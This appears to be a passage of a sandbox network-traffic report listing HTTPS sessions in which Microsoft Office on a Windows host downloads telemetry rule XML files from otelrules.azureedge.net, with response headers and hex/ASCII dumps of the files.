2024-10-05 12:34:15 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:15 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 75ef523f-601e-000d-02f2-162618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123415Z-1657d5bbd48tnj6wmberkg2xy800000000e0000000005ayr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:15 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	57529	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: c9f5e5fc-201e-0071-5dfe-16ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-1657d5bbd48vhs7r2p1ky7cs5w00000000vg0000000067dq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	57527	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 2f845d93-b01e-0070-2f8c-151cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-15767c5fc55gq5fmm10nm5qqr80000000e7g0000000033es x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	57528	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 87e265fd-201e-0051-4fe7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-1657d5bbd48p2j6x2quer0q02800000000mg00000000e9ya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	57530	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 5f7380a8-801e-0015-7b8c-15f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-15767c5fc55rg5b7sh1vuv8t7n0000000eag00000000et50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	57531	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dfa7567c-f01e-003f-67de-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-1657d5bbd48cpbzgkvtewk0wu000000000dg000000004gz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	57535	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 20e89b60-501e-008c-3a03-17cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-15767c5fc554w2fgapsyvy8ua00000000dm00000000087hu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	57536	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 838d7376-001e-0014-17fe-165151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-1657d5bbd48tnj6wmberkg2xy800000000dg000000004ggb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	57537	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 7d18055e-701e-0098-56ff-16395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-1657d5bbd4824mj9d6vp65b6n400000000r0000000008grv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	57538	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: b1fbfe33-a01e-003d-4fd4-1698d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-1657d5bbd48xlwdx82gahegw4000000000n000000000gwgd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	57539	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:16 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:16 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 4b0a4db7-c01e-00ad-2d8c-15a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123416Z-15767c5fc554w2fgapsyvy8ua00000000dkg0000000096zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:17 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	57540	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:17 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:17 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:17 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 1cc313a1-e01e-0071-4b8c-1508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123417Z-15767c5fc55rg5b7sh1vuv8t7n0000000eb000000000dva3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
